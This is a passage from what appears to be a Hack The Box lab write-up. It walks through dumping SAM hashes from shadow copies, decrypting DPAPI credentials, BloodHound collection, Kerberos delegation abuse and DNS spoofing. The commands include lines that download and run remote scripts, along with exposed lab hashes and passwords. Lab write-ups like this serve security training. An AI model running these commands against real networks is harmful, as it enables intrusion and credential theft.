WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
loginus:1000:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::
[*] Cleaning up...

Sometimes you may be lucky to find the $MACHINE.ACC part decrypted, then you can decode it from HEX to UTF-8 like this:

>>> from binascii import unhexlify
>>> unhexlify(x).decode('utf-16-le', 'replace').encode('utf-8', 'replace').decode()
>>> len(unhexlify(x).decode('utf-16-le', 'replace').encode('utf-8', 'replace').decode())
120

Refs

4. Resurrection

Infiltrating SAM from Shadow Copy Volume (VSS)

Next I will enumerate the box for shadow copy volumes (that can also be done with native cmd.exe as vssadmin list shadows):

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > run post/windows/manage/vss_list
[*] Volume Shadow Copy service is running.
[*] Software Shadow Copy service is running.
[*] Getting data for Shadow Copy {046396E4-6312-45B7-96CD-5E5F6FB017EF} (This may take a minute)
[+] Shadow Copy Data
================
 Field                Value
 -----                -----
 ClientAccessible     TRUE
 Count                1
 DeviceObject         \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
 Differential         TRUE
 ExposedLocally       FALSE
 ExposedName
 ExposedRemotely      FALSE
 HardwareAssisted     FALSE
 ID                   "{046396E4-6312-45B7-96CD-5E5F6FB017EF}"
 Imported             FALSE
 NoAutoRelease        TRUE
 NoWriters            TRUE
 NotSurfaced          NotSurfacedFALSE
 OriginiatingMachine  dev.htb.local
 Persistent           TRUE
 Plex                 FALSE
 ProviderID           {B5946137-7B9F-4925-AF80-51ABD60B20D5}
 ServiceMachine       dev.htb.local
 SetID                {001689E5-F1A7-40A8-8B5B-8B6371BD07CA}
 State                12
 Transportable        FALSE
 VolumeName           \\?\Volume{21385651-0000-0000-0000-602200000000}\

Then I’ll mount the volume at C:\VSS point and get SAM:

PS > cmd /c mklink /d C:\VSS \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

meterpreter > download C:\\VSS\\windows\\system32\\config\\SAM
meterpreter > download C:\\VSS\\windows\\system32\\config\\SYSTEM
meterpreter > download C:\\VSS\\windows\\system32\\config\\SECURITY

root@kali:$ secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
[*] Target system bootKey: 0xe4b2298c95677ce18cd2198b9a36c7df
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:de53e322ea95ac2723a2e3e149874aac:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
root@kali:$MACHINE.ACC:plain_password_hex:79004a003c003f0037003900710038004a00400075003e006c00580026007900510064004900490071003800660040006600680071004e0032005a0041002d0063006d0021003e003c00640075003c006a00540077003800390040005d00760030006a005900700052006700690032006f002c0043002d00790078003a006f00610078002800530066006400280065006e005b004a0044005100300079002f0045006f0067005300660033002f0044003800740061007900370039007a002e0020004500280079007a00400049002400320046005c006600500047006c003d002a005c003600200062004c005d003400
root@kali:$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:95e8a6fd440364b8c5d3c51bc4088e50
[*] DPAPI_SYSTEM
dpapi_machinekey:0x14af28a044205b29fa287ffe035ce80102d09125
dpapi_userkey:0x88e6521c1ff9c47e1f9a3404fd64f5753d55e5b2
[*] NL$KM
 0000   BC E0 99 9D 97 B6 E7 9D  3C B1 0F E7 4E 01 C8 DE   ........<...N...
 0010   07 E2 02 7F 6C 29 01 D0  78 33 49 F3 DA A8 F5 28   ....l)..x3I....(
 0020   DD 37 D3 B2 91 9B 7D 68  0B 09 E3 5C 52 AE 71 7C   .7....}h...\R.q|
 0030   40 A9 85 15 6B 48 37 EE  87 82 3E 6D B0 25 89 6B   @...kH7...>m.%.k
NL$KM:bce0999d97b6e79d3cb10fe74e01c8de07e2027f6c2901d0783349f3daa8f528dd37d3b2919b7d680b09e35c52ae717c40a985156b4837ee87823e6db025896b
[*] Cleaning up...

Or I could do it with mimikatz right on the box:

mimikatz # lsadump::sam /system:C:\VSS\Windows\System32\config\SYSTEM /sam:C:\VSS\Windows\System32\config\SAM

Luckly, crackstation.net knows plain password for admin’s old nthash de53e322ea95ac2723a2e3e149874aac:

crackstation.png

Decrypting DPAPI Credentials

As now we have plain password, we can attemp to decrypt DPAPI credentials (that are also located within the backup volume). To do this I will first grab admin’s masterkeys:

meterpreter > ls \\vss\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-4124311166-4116374192-336467615-500
============================================================================================================
Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  468   fil   2019-09-09 13:07:12 +0300  87790867-a883-4a2d-a467-019c315e1104
100666/rw-rw-rw-  24    fil   2019-09-08 22:44:06 +0300  Preferred
100666/rw-rw-rw-  468   fil   2019-09-08 22:44:06 +0300  dc6059f1-5ba2-4186-871a-0ff4055a6875

meterpreter > download \\vss\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-4124311166-4116374192-336467615-500\\87790867-a883-4a2d-a467-019c315e1104
meterpreter > download \\vss\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-4124311166-4116374192-336467615-500\\dc6059f1-5ba2-4186-871a-0ff4055a6875

And grab his secrets:

meterpreter > ls \\vss\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Credentials
=======================================================================
Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  474   fil   2019-09-09 13:08:32 +0300  1A2572C793495F694F64823A392D4718
100666/rw-rw-rw-  474   fil   2019-09-09 13:07:12 +0300  4A2EEB30EFC7958491B6578D9948EC7F

meterpreter > download \\vss\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Credentials\\1A2572C793495F694F64823A392D4718
meterpreter > download \\vss\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Credentials\\4A2EEB30EFC7958491B6578D9948EC7F

Then I can run mimikatz on my host to decrypt captured credentials:

mimikatz # cd secrets
mimikatz # dpapi::masterkey /in:87790867-a883-4a2d-a467-019c315e1104 /sid:S-1-5-21-4124311166-4116374192-336467615-500 /password:./*40ra26AZ

mimi-dpapi-masterkey.png

mimikatz # dpapi::cache

mimi-dpapi-cache.png

mimikatz # dpapi::cred /in:4A2EEB30EFC7958491B6578D9948EC7F

mimi-dpapi-cred.png

Got some creds htb.local\test-svc:T3st-S3v!ce-F0r-Pr0d from the 4A2EEB30EFC7958491B6578D9948EC7F credential file and the 1A2572C793495F694F64823A392D4718 file gave me the fourth flag in the CredentialBlob property with flag as UserName :smiley:

...
TargetName     : Domain:target=flag
UnkData        : (null)
Comment        : (null)
TargetAlias    : (null)
UserName       : flag
CredentialBlob : HADES{V5C_r3ve4L_*************}
Attributes     : 0
...

We can also try to brute force the DPAPI masterkey with hashcat:

root@kali:$ /usr/share/john/DPAPImk2john.py -S S-1-5-21-4124311166-4116374192-336467615-500 -mk ./87790867-a883-4a2d-a467-019c315e1104 -c local |tee dpapi_mk2
root@kali:$DPAPImk$2*1*S-1-5-21-4124311166-4116374192-336467615-500*aes256*sha512*8000*c41ab656df74c2a51cb872fa5a5be7fc*288*bac9efb95aeb3796cabdb684ec758f5d32b0a9c564eb6f32b9a8de9c75d8ac677b6ce2b6da49875e2c04629a23260e7ac849955cc17aed002e3d1a0154ce86cb8faec38312fa7d65472dcdba7e4e79688558f3a185c4f5fbb8e09a24f3b9d48dbbe802eef159ca62a394354b15beb940eadeb014f82a09cb2e92eed7276facbb50c01177f5db0b76ed3f31fb877e3ec5
Cmd > ./hashcat64.exe -m 15900 -a 0 -r nsa-rules/dive.rule hashes/dpapi_mk2 seclists/Passwords/*

In theory this can also be done with meterpreter’s kiwi extension but when I used it, the meterpreter just kept dying (no matter if I runned it as admin or localsystem):

meterpreter > getsystem
meterpreter > execute -if cmd.exe
C:\Users\Administrator\Documents>mklink /d C:\VSS \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
meterpreter > load kiwi
meterpreter > kiwi_cmd '"cd \vss\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4124311166-4116374192-336467615-500\"'
meterpreter > kiwi_cmd '"dpapi::masterkey /in:87790867-a883-4a2d-a467-019c315e1104 /sid:S-1-5-21-4124311166-4116374192-336467615-500 /password:./*40ra26AZ"'
[-] Error running command kiwi_cmd: Rex::TimeoutError Operation timed out.
[*] 10.13.38.17 - Meterpreter session 4 closed.  Reason: Died

Refs

5. Gateway

Collecting Data for Bloodhound

Collect BloodHound data in 3 different ways (just for fun).

1. SharpHound.ps1 with explicit LDAP authentication (session as local administrator):

PS > iex(new-object net.webclient).downloadstring("http://10.14.14.37/SharpHound.ps1")
PS > Invoke-Bloodhound -CollectionMethod All -Domain htb.local -LdapUser 'test-svc' -LdapPassword 'T3st-S3v!ce-F0r-Pr0d'

2. SharpHound.ps1 with implicit LDAP authentication (session as PtH via kiwi with test-svc NTHash which I generated with python (but also you can do it online)):

root@kali:$ python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "T3st-S3v!ce-F0r-Pr0d".encode("utf-16le")).digest())'
f57c975264501a6649cd4e00d3f80f13
meterpreter > kiwi_cmd '"cd c:\users\administrator\music" "sekurlsa::pth /user:test-svc /domain:htb.local /run:dev.exe /ntlm:f57c975264501a6649cd4e00d3f80f13"'
...opened new meterpreter session...
PS > iex(new-object net.webclient).downloadstring("http://10.14.14.37/SharpHound.ps1")
PS > Invoke-Bloodhound -CollectionMethod All -Domain htb.local

3. bloodhound-python:

root@kali:$ proxychains4 -q bloodhound-python -c All -u test-svc -p 'T3st-S3v!ce-F0r-Pr0d' -d htb.local -dc dc1.htb.local -ns 192.168.3.203 --dns-tcp -v
root@kali:$ zip BloodHound-bloodhound-python.zip *.json

Compare sizes:

root@kali:$ ls -la
-rw-r--r-- 1 root root 8389 Jun 29 21:42 BloodHound-bloodhound-python.zip
-rw-r--r-- 1 root root 9654 Jun 29 21:24 BloodHound-LdapPassword.zip
-rw-r--r-- 1 root root 9649 Jun 29 21:18 BloodHound-mimi-pth.zip

As we can see at the screenshot below, test-svc account has GenericAll permissions on WEB.HTB.LOCAL machine, so we shall be going for the RBCD abuse.

bloodhound-test-svc.png

Abusing Kerberos Resource-based Constrained Delegation

Prerequisites:

  1. An account with SPN set (we’ll abuse MachineAccountQuota to create one) that will impersonate (actually delegate to) another user (HTB\lee) to access target computer service (http/WEB.htb.local) via PtT by abusing protocol transition mechanism (S4U2Self & S4U2Proxy).
  2. An account (test-svc) that has a DACL (Owns / GenericAll / GenericWrite / WriteDacl / etc.) to add an ACE (msDS-AllowedToActOnBehalfOfOtherIdentity) on target computer (HTB\WEB) in order to make it trust the account from point 1 for delegation.

From Inside (Windows)

Tools:

  1. Powermad.ps1 to abuse MachineAccountQuota in order to create an account with SPN (a fake machine).
  2. PowerView.ps1 (PowerSploit, dev branch) to manipulate domain objects and modify the msDS-AllowedToActOnBehalfOfOtherIdentity property to make WEB machine trust the newly created fake machine for delegation.
  3. Rubeus.exe to abuse S4U protocol transition.

Set target computer name (the computer we want to own) and the owned account credentials (the account that has permissions to modify the target computer object):

PS > $TargetComputer = 'WEB.htb.local'
PS > $UserWithDaclUsername = 'htb.local\test-svc'
PS > $UserWithDaclPassword = ConvertTo-SecureString 'T3st-S3v!ce-F0r-Pr0d' -AsPlainText -Force
PS > $Cred = New-Object System.Management.Automation.PSCredential($UserWithDaclUsername, $UserWithDaclPassword)

Check for MachineAccountQuota in the domain:

PS > $root = [ADSI]"LDAP://RootDSE"
PS > $root.rootDomainNamingContext
DC=htb,DC=local
PS > Get-DomainObject -Identity "DC=htb,DC=local" | select ms-ds-machineaccountquota

ms-ds-machineaccountquota
-------------------------
                       10

Import Powermad.ps1 and create a new machine account with it:

root@kali:$ curl -L https://github.com/Kevin-Robertson/Powermad/raw/master/Powermad.ps1 > pm.ps1
PS > iex(new-object net.webclient).downloadstring("http://10.14.14.37/pm.ps1")
PS > New-MachineAccount -MachineAccount FAKEMACHINE -Password $(ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force) -Verbose -Credential $Cred

Import PowerView.ps1 and modify the msDS-AllowedToActOnBehalfOfOtherIdentity property:

root@kali:$ curl -L https://github.com/PowerShellMafia/PowerSploit/raw/dev/Recon/PowerView.ps1 > pv.ps1
PS > iex(new-object net.webclient).downloadstring("http://10.14.14.37/pv.ps1")
PS > $ComputerSid = Get-DomainComputer FAKEMACHINE -Properties ObjectSid -Verbose -Credential $Cred | Select -Expand ObjectSid
PS > $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
PS > $SDBytes = New-Object byte[] ($SD.BinaryLength)
PS > $SD.GetBinaryForm($SDBytes, 0)
PS > Get-DomainComputer $TargetComputer -Verbose -Credential $Cred | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -Verbose -Credential $Cred

Automate the process with a PowerShell script: RbcdPwn.ps1:

PS > iex(new-object net.webclient).downloadstring("http://10.14.14.37/RbcdPwn.ps1");Invoke-RbcdPwn -FakeMachine fakemachine123

rbcdpwn-ps1.png

Or it can be done simpler with the ActiveDirectory pwsh module:

PS > Add-WindowsFeature RSAT-AD-PowerShell
PS > Import-Module ActiveDirectory
PS > Set-ADComputer WEB -PrincipalsAllowedToDelegateToAccount fakemachine123$
PS > Get-ADComputer WEB -Properties PrincipalsAllowedToDelegateToAccount
DistinguishedName                    : CN=WEB,CN=Computers,DC=htb,DC=local
DNSHostName                          : web.htb.local
Enabled                              : True
Name                                 : WEB
ObjectClass                          : computer
ObjectGUID                           : efbfd654-c8a0-4825-9106-c519e02a825d
PrincipalsAllowedToDelegateToAccount : {CN=fakemachine123,CN=Computers,DC=htb,DC=local}
SamAccountName                       : WEB$
SID                                  : S-1-5-21-4266912945-3985045794-2943778634-1110
UserPrincipalName                    :

Now we are ready to take over WEB.htb.local with Rubeus. At this point I had no idea which user account I could impersonate and which service that user would have access to, so I tried all the users I found with 4 SPNs: CIFS, WSMAN, HTTP, HOST.

The services that were previously discovered on the WEB machine with Nmap:

root@kali:$ proxychains4 -q nmap -v -n -Pn -sT 192.168.3.202 -p53,80,88,135,139,389,443,445,464,593,636,1433,3268,3269,3389,5985,5986,9389 --open
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
443/tcp  open  https
445/tcp  open  microsoft-ds
5985/tcp open  wsman

As you can guess I succeeded with HTTP SPN service because the machine is called WEB :expressionless: The user account that appeared to have access to the web service was lee:

PS > (new-object net.webclient).downloadfile("http://10.14.14.37/Rubeus.exe", "c:\users\administrator\music\Rubeus.exe")
PS > .\Rubeus.exe hash /domain:htb.local /user:fakemachine123$ /password:P@ssw0rd!

PS > .\Rubeus.exe s4u /domain:htb.local /user:fakemachine123$ /rc4:217E50203A5ABA59CEFA863C724BF61B /impersonateuser:administrator /msdsspn:http/web.htb.local /ptt
[X] KRB-ERROR (13) : KDC_ERR_BADOPTION

PS > .\Rubeus.exe s4u /domain:htb.local /user:fakemachine123$ /rc4:217E50203A5ABA59CEFA863C724BF61B /impersonateuser:web$ /msdsspn:http/web.htb.local /ptt
[+] Ticket successfully imported!
PS > Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local
401 - Unauthorized: Access is denied due to invalid credentials.

PS > .\Rubeus.exe s4u /domain:htb.local /user:fakemachine123$ /rc4:217E50203A5ABA59CEFA863C724BF61B /impersonateuser:iis-svc /msdsspn:http/web.htb.local /ptt
[+] Ticket successfully imported!
PS > Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local
401 - Unauthorized: Access is denied due to invalid credentials.

PS > .\Rubeus.exe s4u /domain:htb.local /user:fakemachine123$ /rc4:217E50203A5ABA59CEFA863C724BF61B /impersonateuser:kalle /msdsspn:http/web.htb.local /ptt
[+] Ticket successfully imported!
PS > Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local
401 - Unauthorized: Access is denied due to invalid credentials.

PS > .\Rubeus.exe s4u /domain:htb.local /user:fakemachine123$ /rc4:217E50203A5ABA59CEFA863C724BF61B /impersonateuser:bob /msdsspn:http/web.htb.local /ptt
[+] Ticket successfully imported!
PS > Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local
401 - Unauthorized: Access is denied due to invalid credentials.

PS > .\Rubeus.exe s4u /domain:htb.local /user:fakemachine123$ /rc4:217E50203A5ABA59CEFA863C724BF61B /impersonateuser:remote_user /msdsspn:http/web.htb.local /ptt
[X] KRB-ERROR (13) : KDC_ERR_BADOPTION

PS > .\Rubeus.exe s4u /domain:htb.local /user:fakemachine123$ /rc4:217E50203A5ABA59CEFA863C724BF61B /impersonateuser:lee /msdsspn:http/web.htb.local /ptt
[+] Ticket successfully imported!
PS > Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local
StatusCode        : 200
StatusDescription : OK
Content           : <!DOCTYPE html><html manifest="manifest.appcache" style="font-size: 12px;"><head lang="en">
                    <base href="http://web.htb.local/"><meta charset="UTF-8"><title>KeeWeb</title><meta
                    name="application-nam...
RawContent        : HTTP/1.1 200 OK
                    Persistent-Auth: true
                    Accept-Ranges: bytes
                    Content-Length: 280496
                    Content-Type: text/html
                    Date: Thu, 02 Jul 2020 14:25:30 GMT
                    ETag: "51a8b943583d51:0"
                    Last-Modified: Tue, 15 Oct...
Forms             :
Headers           : {[Persistent-Auth, true], [Accept-Ranges, bytes], [Content-Length, 280496], [Content-Type,
                    text/html]...}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        :
RawContentLength  : 280496

rubeus-exe.png

Now I can use cURL with --negotiate option to force Kerberos HTTP SPNEGO authentication:

PS > cmd /c curl --negotiate -u : http://web.htb.local -o out.html -v
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/8.5
WWW-Authenticate: Negotiate
Date: Thu, 02 Jul 2020 14:27:13 GMT

HTTP/1.1 200 OK
Content-Length: 280496
Content-Type: text/html
Last-Modified: Tue, 15 Oct 2019 08:46:21 GMT
Accept-Ranges: bytes
ETag: "51a8b943583d51:0"
Server: Microsoft-IIS/8.5
WWW-Authenticate: Negotiate oYGkMIGhoAMKAQChCwYJKoZIgvcSAQICooGMBIGJYIGGBgkqhkiG9xIBAgICAG93MHWgAwIBBaEDAgEPomkwZ6ADAgERomAEXufd4D47ZEBuB7JuCsB3YfgYInD/DXonI4hKdd9UB+at/lBPMYAJD+EQmCAvgTDpavJ4bN6+u4fCQkEzpZadGwmsQG/faD5nibvbSfYhdsuWbJLczdFs/K9pNfyXyko=
Persistent-Auth: true
Date: Thu, 02 Jul 2020 14:27:13 GMT
...

The web page contained another pair of user creds: remote_user:FZg28$dJe*Hx7c.

web-http.png

Then I was able to WinRM into 192.168.3.202 as remote_user and get the fifth flag:

*Evil-WinRM* PS C:\Users\remote_user.HTB\desktop> cat flag.txt
HADES{From_RBCD_*****************}

Clear the msDS-AllowedToActOnBehalfOfOtherIdentity property on WEB and try to remove the fake machine account:

PS > Get-DomainComputer $TargetComputer -Verbose -Credential $Cred | Set-DomainObject -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity' -Verbose -Credential $Cred
PS > Remove-MachineAccount -MachineAccount fakemachine123 -Verbose -Credential $Cred
[-] Exception calling "DeleteTree" with "0" argument(s): "Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED))"

Refs

From Outside (Linux)

Tools:

  1. impacket/addcomputer.py to create fake machine.
  2. rbcd.py to modify msDS-AllowedToActOnBehalfOfOtherIdentity.
  3. impacket/getST.py to abuse S4U and get TGS.
root@kali:$ proxychains4 -q addcomputer.py -computer-name 'newfakemachine123$' -computer-pass 'P@ssw0rd!' -dc-ip 192.168.3.203 'htb.local/test-svc:T3st-S3v!ce-F0r-Pr0d' -debug
[+] Impacket Library Installation Path: /usr/local/lib/python2.7/dist-packages/impacket
[*] Opening domain HTB...
[*] Successfully added machine account newfakemachine123$ with password P@ssw0rd!.

root@kali:$ proxychains4 -q ./rbcd.py -f newfakemachine123 -t WEB -dc-ip 192.168.3.203 'HTB\test-svc:T3st-S3v!ce-F0r-Pr0d'
[*] Starting Resource Based Constrained Delegation Attack against WEB$
[*] Initializing LDAP connection to 192.168.3.203
[*] Using HTB\test-svc account with password ***
[*] LDAP bind OK
[*] Initializing domainDumper()
[*] Initializing LDAPAttack()
[*] Writing SECURITY_DESCRIPTOR related to (fake) computer `newfakemachine123` into msDS-AllowedToActOnBehalfOfOtherIdentity of target computer `WEB`
[*] Delegation rights modified succesfully!
[*] newfakemachine123$ can now impersonate users on WEB$ via S4U2Proxy

root@kali:$ proxychains4 -q getST.py -spn http/WEB.htb.local -impersonate lee -dc-ip 192.168.3.203 'htb.local/newfakemachine123$:P@ssw0rd!' -debug
[+] Impacket Library Installation Path: /usr/local/lib/python2.7/dist-packages/impacket
[+] Using Kerberos Cache: /root/tools/rbcd-attack/lee.ccache
[+] SPN KRBTGT/HTB.LOCAL@HTB.LOCAL not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] No valid credentials found in cache.
[*] Getting TGT for user
[+] Trying to connect to KDC at 192.168.3.203
[+] Trying to connect to KDC at 192.168.3.203
[*] Impersonating lee
[+] AUTHENTICATOR
...
[+] S4UByteArray
...
[+] CheckSum
...
[+] Final TGS
...
[*]     Requesting S4U2self
[+] Trying to connect to KDC at 192.168.3.203
[+] TGS_REP
...
[*]     Requesting S4U2Proxy
[+] Trying to connect to KDC at 192.168.3.203
[*] Saving ticket in lee.ccache

root@kali:$ apt install krb5-user krb5-config -y
root@kali:$ dpkg-reconfigure krb5-config
root@kali:$ export KRB5CCNAME=`pwd`/admin.ccache
root@kali:$ klist
Ticket cache: FILE:/root/tools/rbcd-attack/lee.ccache
Default principal: lee@htb.local
Valid starting       Expires              Service principal
07/02/2020 20:43:52  07/03/2020 06:43:41  http/WEB.htb.local@HTB.LOCAL
        renew until 07/03/2020 20:41:40

However, I was not able to load the protected web page as curl kept saying Matching credential not found:

root@kali:$ proxychains4 -q curl --negotiate -u: http://web.htb.local -v
*   Trying 192.168.3.202:80...
* TCP_NODELAY set
* Connected to web.htb.local (127.0.0.1) port 80 (#0)
* gss_init_sec_context() failed: Matching credential not found (filename: /root/tools/rbcd-attack/lee.ccache).
* Server auth using Negotiate with user ''
> GET / HTTP/1.1
> Host: web.htb.local
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Content-Type: text/html
< Server: Microsoft-IIS/8.5
* gss_init_sec_context() failed: Matching credential not found (filename: /root/tools/rbcd-attack/lee.ccache).
< WWW-Authenticate: Negotiate

Kali’s pwsh did not get it either:

root@kali:$ proxychains4 -q pwsh
PS /root/tools/rbcd-attack> klist
Ticket cache: FILE:/root/tools/rbcd-attack/lee.ccache
Default principal: lee@htb.local
Valid starting       Expires              Service principal
07/02/2020 20:43:52  07/03/2020 06:43:41  http/WEB.htb.local@HTB.LOCAL
        renew until 07/03/2020 20:41:40
PS /root/tools/rbcd-attack> Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local
Invoke-WebRequest: The cmdlet cannot protect plain text secrets sent over unencrypted connections. To suppress this warning and send plain text secrets over unencrypted networks, reissue the command specifying the AllowUnencryptedAuthentication parameter.
PS /root/tools/rbcd-attack> Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local -AllowUnencryptedAuthentication
Invoke-WebRequest: GSSAPI operation failed with error - Unspecified GSS failure.  Minor code may provide more information (Matching credential not found (filename: /root/tools/rbcd-attack/lee.ccache)).
PS /root/tools/rbcd-attack> exit

Refs

6. Celestial

Spoofing Active Directory-Integrated DNS

I will jump to the WEB box with Evil-WinRM and run Inveigh:

root@kali:$ proxychains4 -q evil-winrm.rb -u 'remote_user' -p 'FZg28$dJe*Hx7c' -i 192.168.3.202 -s `pwd` -e `pwd`
*Evil-WinRM* PS > powershell -NoP -NonI -W Hidden -Exec Bypass "IEX(New-Object Net.WebClient).DownloadString('http://10.14.14.37/Inveigh.ps1');Invoke-Inveigh -IP '10.13.38.16' –NBNS Y –mDNS Y –Proxy Y -FileOutput Y -FileOutputDirectory 'c:\users\remote_user.HTB\documents' -LogOutput Y"

There are no words no describe how painfully slow and unstable this was box, so I had to reconnect literally after every command as the WinRM HTTPClient had been KeepAliveDisconnect‘ing all the f*cking time while working through the pivot point. Inveigh’s DNS sniffer helped me to understand that someone on the box was periodically trying to resolve non-existent DNS names (see [outgoing query] records):

[*] Inveigh 1.504 started at 2020-04-09T13:35:34
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 10.13.38.16
[+] Spoofer IP Address = 10.13.38.16
[+] ADIDNS Spoofer = Disabled
[+] DNS Spoofer = Enabled
[+] DNS TTL = 30 Seconds
[+] LLMNR Spoofer = Enabled
[+] LLMNR TTL = 30 Seconds
[+] mDNS Spoofer For Type QU = Enabled
[+] mDNS TTL = 120 Seconds
[+] NBNS Spoofer For Types 00,20 = Enabled
[+] NBNS TTL = 165 Seconds
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Capture = Disabled
[+] HTTP/HTTPS Authentication = NTLM
[+] Proxy Capture = Enabled
[+] Proxy Port = 8492
[+] Proxy Authentication = NTLM
[+] Proxy Ignore List = Firefox
[+] WPAD Authentication = NTLM
[+] WPAD NTLM Authentication Ignore List = Firefox
[+] WPAD Proxy Response = Enabled
[+] Kerberos TGT Capture = Disabled
[+] Machine Account Capture = Disabled
[+] Console Output = Disabled
[+] File Output = Enabled
[+] Output Directory = c:\users\remote_user.HTB\documents
[!] Run Stop-Inveigh to stop
[-] [2020-04-09T13:35:34] Error starting HTTP listener
[!] [2020-04-09T13:35:34] Exception calling "Start" with "0" argument(s): "An attempt was made to access a socket in a way forbidden by its access permissions" $HTTP_listener.Start()
...
[+] [2020-04-09T13:39:36] DNS request for db3.htb.local sent to 8.8.8.8 [outgoing query]
[+] [2020-04-09T13:39:37] DNS request for db1.htb.local sent to 8.8.8.8 [outgoing query]
[+] [2020-04-09T13:39:39] DNS request for db2.htb.local sent to 8.8.8.8 [outgoing query]
[+] [2020-04-09T13:39:42] DNS request for dc1.htb.local sent to 8.8.8.8 [outgoing query]
[+] [2020-04-09T13:39:47] DNS request for wpad.htb.local sent to 8.8.8.8 [outgoing query]
...
[+] [2020-04-09T13:43:13] DNS request for db1.htb.local sent to 8.8.8.8 [outgoing query]
[+] [2020-04-09T13:43:18] DNS request for db2.htb.local sent to 8.8.8.8 [outgoing query]
[+] [2020-04-09T13:43:26] DNS request for db3.htb.local sent to 8.8.8.8 [outgoing query]
...

Lately I also saw them in the local DNS client’s cache:

PS > Get-DnsClientCache
Entry                     RecordName                Record Status    Section TimeTo Data   Data
                                                    Type                     Live   Length
-----                     ----------                ------ ------    ------- ------ ------ ----
db1.htb.local                                       A      NoRecords
db2.htb.local                                       A      NoRecords
db3.htb.local                                       A      NoRecords

(Or with ipconfig /displaydns)

Then after studying Kevin Robert’s blog post I went back to more stable DEV box and exploited the ADIDNS mechanism with Powermad (again). I used remote_user’s creds but I could also stick to the builtin NT AUTHORITY\SYTEM account context (as it forwards the DOMAIN\MACHINE$ creds for network operations in the domain).

1. Check if you are able to modify (add) AD DNS names:

PS > $User = 'htb.local\remote_user';$Pass = ConvertTo-SecureString 'FZg28$dJe*Hx7c' -AsPlainText -Force;$Cred = New-Object System.Management.Automation.PSCredential($User, $Pass)
PS > Get-ADIDNSZone -Credential $Cred -Verbose
DC=htb.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=htb,DC=local
DC=RootDNSServers,CN=MicrosoftDNS,DC=DomainDnsZones,DC=htb,DC=local
DC=_msdcs.htb.local,CN=MicrosoftDNS,DC=ForestDnsZones,DC=htb,DC=local
DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=htb,DC=local

PS > Get-ADIDNSPermission -Credential $Cred -Verbose | ? {$_.Principal -eq 'NT AUTHORITY\Authenticated Users'}
Principal             : NT AUTHORITY\Authenticated Users
IdentityReference     : S-1-5-11
ActiveDirectoryRights : CreateChild
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

CreateChild permission is what we need.

2. Create, configure the new DNS name that could be likely exploited for spoofing with Kali’s IP and enable it. I chose db3 which was found in cache:

PS > New-ADIDNSNode -DomainController dc1 -Node db3 -Credential $Cred -Verbose
PS > $dnsRecord = New-DNSRecordArray -Type A -Data 10.14.14.37
PS > Set-ADIDNSNodeAttribute -Node db3 -Attribute dnsRecord -Value $dnsRecord -Credential $Cred -Verbose
PS > Enable-ADIDNSNode -DomainController dc1 -Node db3 -Credential $Cred -Verbose

3. Check the newly created DNS object and try to resolve it. AD will need some time (180 seconds) to sync LDAP changes via its DNS dynamic updates protocol, so take a deep breath and don’t panic:

